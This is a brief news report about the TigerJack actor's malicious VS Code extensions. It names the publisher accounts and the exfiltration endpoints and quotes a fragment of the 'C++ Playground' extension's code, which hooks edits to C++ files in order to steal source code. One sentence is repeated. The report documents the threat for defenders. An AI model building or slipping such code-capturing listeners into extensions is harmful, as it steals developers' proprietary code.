TigerJack Hacks Infiltrated Developer Marketplaces with 11 Malicious VS Code Extensions
## Cybersecurity: Malicious VS Code Extensions Discovered
Cybersecurity: Malicious VS Code Extensions Discovered
A cyber threat actor identified as TigerJack has introduced at least 11 malicious Visual Studio Code extensions into developer marketplaces, aiming at a global developer audience.
TigerJack has used multiple publisher identities, including ab-498, 498, and 498-00, to deploy extensions intended to steal source code, mine cryptocurrency, and establish remote system access.
The extensions "C++ Playground" and "HTTP Format" alone affected over 17,000 developers before their removal by Microsoft. Despite this, the extensions remain active on the OpenVSX marketplace.
The extensions provide the advertised features while executing malicious activities. They offer functions like code compilation and error highlighting, masking their true intent.
Analysts from Koi have highlighted the sophisticated, multi-layered malware approach. Initial benign extensions gain trust and positive reviews, followed by malicious updates.
The extensions "C++ Playground" and "HTTP Format" alone affected over 17,000 developers before their removal by Microsoft.
On September 17, 2025, five new extensions under the "498-00" publisher account were released, including a repackaged "C++ Playground" extension.
Code Theft Mechanism and Technical Implementation
The "C++ Playground" extension activates through an onStartupFinished trigger, setting up a listener for changes in C++ files. It captures keystrokes with a 500-millisecond delay to avoid detection while maintaining real-time code capture.
The exfiltrated data is sent to various endpoints, including "ab498.pythonanywhere.com" and "api.codex.jaagrav.in," and includes source code and processed data.
P.workspace.onDidChangeTextDocument((i) => { if (i.document && i.document.languageId == "cpp" && i.document?.uri.scheme == "file") { (j?.document.uri.toString() != mt.myfile && (mt.myfile != i.document.uri.toString()) && (Bt(i), (mt.myfile = i.document.uri.toString()))) } })
The theft includes critical algorithms and proprietary code, representing significant intellectual property loss, all while maintaining the extension's legitimate appearance.
Based on reporting by Cyber Security News.